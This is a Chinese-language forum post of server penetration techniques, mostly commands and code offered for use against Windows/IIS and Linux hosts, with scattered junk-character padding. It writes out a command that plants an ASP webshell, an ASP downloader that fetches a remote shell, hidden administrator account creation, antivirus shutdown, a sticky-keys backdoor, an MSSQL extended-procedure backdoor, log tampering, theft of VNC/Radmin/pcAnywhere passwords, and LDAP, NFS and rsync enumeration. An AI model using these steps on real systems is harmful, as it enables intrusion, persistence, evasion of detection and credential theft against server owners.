渗透技巧总结

admin

旁站路径问题
1、读网站配置。
6 ?0 F' ?$ L8 X) Y9 `2、用以下VBS
9 q1 L. I; [  P+ }; nOn Error Resume Next
+ U4 J9 t) H3 G$ }4 [If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
& i) E" L* c8 E3 \1 [- f, d8 V
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
' Y& `7 v9 I; ?8 w) ^+ g* s- C/ `
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
1 y" o, s; ^3 l5 _: ?6 hEnd If
  P# X+ L2 K& RSet ObjService=GetObject
. u" f1 z9 Z4 ^4 a/ \, E
# B/ z5 D5 t" S. Q" ]& d6 ~9 m("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

8 J) f" [  Y" \! |$ BThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
" F/ |$ d3 e, ~, n9 ]. ^/ S         
# n& z& z+ Z* Y4 Q
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
' C( K% q" z6 j% D; w( {1 n- Z/ Z                If Err

9 t& f( |% z& n2 [+ u<> 0 Then WScript.Quit (1)
& `5 Y) J9 v! {7 g                WScript.Echo Chr(10) & "[" &
# O0 J& O2 q& e* w  H/ o
- ]2 M, S6 `6 Q6 m( u+ Y! kOService.ServerComment & "]"
  X5 [: u4 y/ m/ S. ?                For Each Binds In OService.ServerBindings
     
, \8 ?. T' n8 {
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
2 K/ i" X7 Y$ }7 \1 u                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
, Y3 H+ j* D' c5 P8 v                Next
9 {# @, I- O& M* Q3 A      

         WScript.Echo "ath            : " & VDirObj.Path
        End If
6 i! n( i& V+ Y( h6 j4 E; g* @  [  MNext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
: B  Y. w& E) }2 f: t4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
; T& D' l# h7 X; N, r—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
# M$ X! s: X3 L1 H, u5 lurl/wp-content/plugins/akismet/hello.php
# S( h- K9 `. g' z3 D- M& c  l——————————————————————
" `, K0 U+ g: W9 ?  yphpMyAdmin暴路径办法:
0 u' v! e- q3 kphpMyAdmin/libraries/select_lang.lib.php
, Y( I# n' B- ?* |+ M6 H7 _4 ]$ NphpMyAdmin/darkblue_orange/layout.inc.php
9 ]- L4 B# G6 V6 WphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
) R9 g2 t9 q3 P, X. h" ~* t6 p网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
) q6 ^  p" z' o+ anetsh ras set user administrator deny #禁止administrator拨入该VPN
5 ~, R8 I% I' x2 Q, R! e$ Xnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
9 ^: y; Q" s* B. r3 K) O5 ^% @netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
" }! N1 }; F" a0 l' V! G  X7 K; B————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
" c7 \  l2 T8 H. b5 m; p: Wexec master.dbo.sp_addlogin test,123
$ ?! d) q& d( s2 Y$ t' ]$ UEXEC sp_addsrvrolemember 'test, 'sysadmin'
. D3 r" e. R: }; f4 j$ b5 V- B3 n然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

# i$ M8 c' H5 |5 C9 K& D2 B) z# l另类的加用户方法
' p7 s, X* O/ `4 Z5 ~% D2 e在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
7 ?: Y9 }( h, i  Bjs:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
8 f  ?. y0 b- E8 a- I- Z
vbs:
) m! S, i9 W& G1 [+ dSet   o=CreateObject( "Shell.Users" )
! E8 v9 t" ?5 @9 eSet z=o.create("test")
% j! J1 L8 }3 ]" Jz.changePassword "123456",""
z.setting("AccountType")=3
4 C# O5 L4 L" T# Z7 y% R——————————————————
) h4 E3 a/ }# n. N  Jcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
* |7 g3 f" c( X  Z5 X
' D$ Y# g- b* ~9 ?+ J& v  z9 j命令如下
5 {  {7 u+ ?! c1 ?* i2 v4 p6 Mcacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
. Z6 L9 F0 q8 ^- h/ P* [* h) a————————以下配合PR更好————
3389相关
% h4 ], |6 K4 A. s1 g1 r+ d# Wa、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
% \1 f- k9 w4 r& l* Lb、内网环境（LCX）
- ]3 N2 A2 S! n% }9 Kc、终端服务器超出了最大允许连接
$ I4 u8 z' n! D1 K% Y, w  T; o6 E  U  ?& IXP 运行mstsc /admin
2 x" O! m& _* ^) j2003 运行mstsc /console   
0 N$ t8 l/ Q: w/ C
2 D& }5 N1 \3 |* ?9 F. t杀软关闭（把杀软所在的文件的所有权限去掉）
: C$ o/ U5 `' G) z2 g5 _处理变态诺顿企业版：
- P# Y& A; _2 N& n# O' J- y' Ynet stop "Symantec AntiVirus" /y
7 y' p* @3 c: n+ F% H/ Nnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
' i: i/ A9 |6 onet stop "Symantec Settings Manager" /y

4 K: n7 p: y& U5 q+ ~卖咖啡：net stop "McAfee McShield"
————————————————————
  O9 n8 l- g% T& @; `. k; c/ f
1 g! X4 ]% X/ V9 z* t5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
# x9 M4 E+ l; x- [" y) Ocopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
6 j3 l% p# h- z6 scopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
3 m8 E( C" s- d' |4 D——————————————————————
隐藏账号添加：
. K0 S- I% x0 |! H7 E1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
2 Z+ {6 Y! p: \1 V; ^/ z$ }3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
7 Y6 G6 d' {, c4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
  w& \: }& v( Z6 k5 i5 h% `MSSQL扩展后门：
* V8 U9 }$ P& }$ V$ AUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
' p9 F! ]; D; ]* G8 uGRANT exec On xp_helpsystem TO public;
———————————————————————
1 S" @8 J8 g5 W# W" y日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
4 U, C' U; O* h& D% o# k1 M* Z8 xex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
9 E* b3 G( ]" h1 |0 J. R: {3 {不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

1 N5 C& }5 ?3 g/ |MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
2 m6 F3 k( v" y5 |0 N% {' v0 B找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
) [6 z  L) _- }* t8 f2 R7 d防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

0 Y5 }+ {7 E% B5 [9 V6 N2 Y  Z/ a# m<%
# w, K( s# [) T" G- ?Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
0 b- X$ I" v, |& U% pDim Ads, Retrieval, GetRemoteData
: S- h* ?& V0 a" ?) S+ R+ p+ b6 gOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
0 j( M% I# B- I% uWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
8 i4 X2 S$ S& \7 t7 R- p2 s" s.Send
GetRemoteData = .ResponseBody
End With
. c5 K9 k3 y! Q/ j' _8 kSet Retrieval = Nothing
, R- m  v4 d# h2 S& C4 D! QSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
& s9 T2 h! a( }4 E" i( N.Type = 1
.Open
.Write GetRemoteData
9 F: d' i& F' R% j$ ^7 `+ ~6 s.SaveToFile Server.MapPath(s_LocalFileName), 2
. U2 i6 r+ Q8 t% O2 H7 B.Cancel()
: t+ k! ~1 f% }$ y) h5 q.Close()
1 f7 T0 L/ [% }/ w: \/ z, E' E5 P# UEnd With
8 ^) d5 U3 q7 N& y3 d/ SSet Ads=nothing
7 D2 X2 K" L: Z( C+ w1 f( bEnd Sub
6 t/ o0 U9 D, t& X8 c; F  ^& k
% R8 d, p6 `& O! j; D4 `- SeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
. s8 Z0 M5 r' }) z5 Q) o1 D4 y
# z, i: a' F; Q9 c5 q" ?8 |% S! p' KVNC提权方法:
. F" y4 x, i5 V( b! S& W: \: I利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
) J6 E" _4 `  h7 FRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
  r. Q3 y. k7 M0 FHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
: U/ R. N3 K  n8 a! X; L如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
8 e4 h9 ?& Y5 P3 F, s1 ?保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
, ]' O0 i" g0 X# M+ S" v6 G. D——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
4 G2 m0 [. R* N4 b; p& J来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
& W5 Z8 P2 }- Q+ P' n0 _' b( N7i24的web目录也是可写，权限为administrator。
  _% {$ s7 n7 Y
- F& v* @( N# s0 k# V  q. H: |1 U6 p1433 SA点构建注入点。
. \0 p- b/ d2 t" f<%
strSQLServerName = "服务器ip"
- \( E) n+ [9 `+ [- r* rstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
0 ]3 ~, q2 m1 n. O2 fstrSQLDBName = "数据库名称"
1 d' ^8 v: a8 F! CSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

7 j. {( y1 ^1 [$ I";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
' h; V* _. N2 {" e3 K, E9 v9 k4 ~" G
strSQLDBName & ";"
; w8 E# c1 G& L1 W" h% H! A! iconn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
5 [+ O# N! ]# h5 r0 o  {id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
% q. _7 h/ Y% g! rrs.close
3 @4 H( u! s4 _* p+ a; K: \%>
+ t1 Y7 Z' X0 s4 C# s( Y复制代码
3 r6 |5 h1 b; m1 X9 m******liunx 相关******
一.ldap渗透技巧
: ]: q' Y! |; W1 u$ f3 H6 a  V1.cat /etc/nsswitch
' u$ `( |  ?! s  `% g5 o& |' j看看密码登录策略我们可以看到使用了file ldap模式
, J  U& ~! y! J7 ?. Z/ x
9 T9 u* U+ z/ V# p; C2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
1 U: z4 s# r/ N' v5 Y: w/ |# x) f找到ou,dc,dc设置
" H1 N/ ~: P! Z
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

& M/ J$ T2 j0 J/ z0 }/ M: O"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
3 d1 F  Y7 W* }! @) T9 B4 |ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

! n2 Z- X- b- W$ y"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
6 R" S6 e9 L7 }! @  z! {5 K
* d0 J1 L, \) `" H) t
% [; y3 v1 E3 e4 o) D1 L4.查找10条用户记录
9 Z- \9 R9 L9 A1 f) I  k! d2 R2 Qldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
# }- G! [+ G0 k; P* c
实战:
1.cat /etc/nsswitch
7 i7 w; q8 @" s( j* x  x6 p看看密码登录策略我们可以看到使用了file ldap模式
) M, Y  h: n4 d/ H) s# q
/ G( }5 ~/ v- ?( z2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
% p" W) g% z* {1 k$ T; N
& b0 E$ n5 `/ l& \$ `. U3.查找管理员信息
匿名方式
: {& E7 }. r3 T% u- K0 sldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
4 d! |9 ?$ y$ P! R5 K% C
$ b$ s3 d5 T" ?5 m: _' }"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
8 w! H8 k3 @" S( D/ Z' Y) d% i有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
! h/ `. Q; f* J$ a
  l, d3 t+ _& G8 B( Z  X"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

0 [0 P) g9 u9 p- F
/ _2 V9 z! N- C# \- \. _7 w4 A4.查找10条用户记录
9 Z2 P; o  _' mldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

, J. P5 D$ B6 K. N渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
# \0 C% _5 D5 J  X2 _4 n! Bdn: dc=ruc,dc=edu,dc=cn
dc: ruc
  ^2 g& E9 r& h4 A2 Q% k# vobjectClass: domain

+ [6 H5 u; {6 U3 @) ?/ U) Pdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
8 U- Z: h$ h- K; `) C; f8 r# F% oobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
, O& }. A) |, v) s9 i* [8 \sn: manager
cn: manager
" y. Q1 R" i+ _. q% ]
" R3 M1 Q: l$ Rdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
) `% B. F1 x0 R8 z1 bobjectClass: inetOrgPerson
$ _( V2 q0 X2 }; V# C; E5 W" wobjectClass: organizationalPerson
objectClass: person
objectClass: top
( J$ ~# B: M! e$ y$ o4 e3 Y( isn: superadmin
3 v* b; ]" b6 |5 q  ocn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
# A  a8 U+ _/ \  QobjectClass: inetOrgPerson
6 @1 T/ E+ N$ ]/ DobjectClass: organizationalPerson
objectClass: person
objectClass: top
: h4 u! X& _' [9 @sn: admin
3 r8 i& Q* L2 v: F, Icn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
: c3 ~4 K; l( v4 ?# P0 eobjectClass: person
* l* [6 r1 c9 y5 J, }  g3 mobjectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
" o  M1 A) Q: [1 R0 x' e
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
6 T& e9 Y, m: ?! T4 N. p
more
0 L0 U0 G$ @2 ?% \: e9 Rversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
+ t& G6 F2 Q: x  e. u! @0 IobjectClass: domain
+ W8 ~& `6 m- S- m  N- Z
3.查找
. ?1 k' o. w: n) ]+ x. `) i, |! m5 }7 d! bbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
' o% G5 t9 u  Z; Z3 Aversion: 1
dn:
objectClass: top
+ a1 f' `+ M$ {. znamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
/ s9 v" H7 X8 |% KsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
; [- a  h" {. ~2 c* o) u; [( HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
# t! {1 h9 V# R0 C# X* p8 z6 TsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
# o) Z0 D& ]4 l& T) ~, E9 CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
5 u! V* s( {% {3 V3 o9 c+ s5 gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
3 T* y1 K  o# isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
# D( S0 @, [9 o$ Y5 x) bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
; ~* G; ~+ Y+ w9 }- ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
: f1 b. \9 a; W/ JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
9 i  O5 a- _& j8 HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
. n( E$ O! s. z8 d8 S: J+ _( y1 a# ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
$ @; K) a  p, U  _/ m9 TsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
1 z( o) k: S0 S0 f# AsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
, `: o: f' |7 B& W5 rsupportedControl: 2.16.840.1.113730.3.4.5
' {( Q5 Y" C, d0 S5 K( y9 JsupportedControl: 1.2.840.113556.1.4.473
. I9 K' V6 U: h7 j( ~9 C$ lsupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
4 H5 o, p' g# e# s& nsupportedControl: 2.16.840.1.113730.3.4.17
4 D3 z# ?. s# M! tsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
5 j+ j( |4 g  p" s8 k  ]& XsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
3 E& k0 w3 ]; X! B( |, v/ }, d3 [supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
2 e  j, }- A; Z$ F. l* _; V% x5 XsupportedControl: 2.16.840.1.113730.3.4.14
7 R* K8 q! x- WsupportedControl: 1.3.6.1.4.1.1466.29539.12
1 C  i1 f& |- qsupportedControl: 2.16.840.1.113730.3.4.12
. a( }- _' y5 Q. Y' |supportedControl: 2.16.840.1.113730.3.4.18
1 W  P% T3 i/ k! WsupportedControl: 2.16.840.1.113730.3.4.13
& ?# e# P+ D" ZsupportedSASLMechanisms: EXTERNAL
: i9 ?/ O4 `8 x. k' f. WsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
5 n9 z5 X6 S1 S4 C) a$ SvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
4 W# r  L! X  X! W& T0 Tnetscapemdsuffix: cn=ldap://dc=webA:389
! J  l4 {+ I; H4 J, QsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
) R: j1 o: _! P3 L- c. x% _! LsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
, n# S5 w: ?3 J$ D# G* v4 B9 WsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
) G2 {/ Q7 E5 ~: GsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
; p. c' t! p( F/ r- X9 Y) t5 jsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
! e% t; I- p; P+ s% XsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
; L: H0 ~, V: {: D( S- f$ {supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
" h; [/ d& _. S4 OsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
# D& r, a) x# Z' BsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
: Z% F8 e. S0 I# h! PsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
7 a$ L7 d' E, c8 ksupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
7 ]0 c& ^0 Y0 I4 T+ u+ fsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
3 i2 U) e4 q0 U/ xsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
. v% t5 K& F. F# l1 KsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
/ _3 g; _6 s" bsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
7 T; @$ ^, ]; S$ MsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
' O, ]7 \+ \# q9 b0 N0 I! RsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
. N* C. }6 p& IsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
: `$ p4 m& N+ o! ?$ n" o, TsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
9 K6 G+ ^6 X. _3 H7 OsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
! G: A3 W8 Q- S$ I" x" p- DsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
6 `0 f) B- _3 V) V6 G3 TsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
) e( W2 e9 C% h2 esupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
: G  W  i, {4 W( T( x( w# v# {supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
5 x4 f) I  }& f3 xsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
' L6 z& _9 j3 Y+ W8 Z  RsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
5 \+ r6 |; ^4 E$ z' ~( }supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
8 Z+ r5 u. ?) A! Z% P; h# O) ]7 I& }supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
" k* ?* K; A! d5 X4 X, ?) gsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
2 y; \. q/ T: DsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
! w5 q& @. V4 G/ p+ F. }" E2 WsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
$ H4 s5 y8 L/ N! x* qshowmount -e ip
4 ^/ O8 @' ^. A" L. W列举IP
& k5 E7 o/ N0 t9 {7 m" ?——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
: f  E( Q0 K& A- F1 N5 ?2 ~! \finance
/ l$ _% a5 Z, z8 {8 S7 \' qimg_finance
, M/ T0 g! Q, K1 D! \auto
img_auto
7 A+ @% t/ K% ]6 Jhtml_cms
" u) T* ]' D1 w$ c9 y; y) Oimg_cms
7 J: r& ^$ a8 g; i0 k+ G2 E& dent_cms
3 b8 W% u6 e; ^* c! went_img
: ], j0 Z! l$ X9 n* mceshi
2 H3 G; j' p7 E& b7 D. u3 B' \2 Q6 Yres_img
res_img_c2
' s$ O; {/ V6 ?2 Y1 uchip
. U$ n$ t. y7 ^4 T5 U1 w8 Xchip_c2
ent_icms
games
gamesimg
; Z  h3 H0 _8 M" n; U4 Q) J( m; s; p- rmedia
0 r! r! F$ d- H8 ]. @mediaimg
5 b( m8 i' Y# c% `fashion
7 g% }5 M4 J% ?1 yres-fashion
- i, E9 ?7 k7 B5 k* B7 Nres-fo
1 v+ f7 ^6 N3 J6 W% i2 q+ y) t2 rtaobao-home
res-taobao-home
house
7 H% }, Y& {/ p0 o/ o6 Y6 ures-house
) ]. t( l& B2 e. U/ J% Z* Gres-home
8 L1 P5 Z! w( r3 P: a  R* P, ^& zres-edu
! r# T. C9 t$ @3 _5 p( N  ?+ G. Fres-ent
7 q. E6 a+ I! S. i" b( n  \res-labs
res-news
res-phtv
res-media
1 U( _. @2 s% u3 X! {home
edu
! ~$ V$ P/ H! ]; ^4 J2 bnews
0 g0 R% z( k5 B; lres-book
7 L" R' |" D; r0 S8 ?6 C% a
看相应的下级目录(注意一定要在目录后面添加上/)
5 S8 B( l: o2 J
/ R9 K  Y% P! J: S) {
rsync 210.51.X.X::htdocs_app/
9 N6 \8 }) `$ i+ p7 e' G  V# _- c9 krsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
5 C- {* V+ x( J$ Q- Q
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
9 D3 i9 S9 z7 K( o
9 `0 F$ Q8 k% z6 L3.向上更新rsync文件(成功上传,不会覆盖)
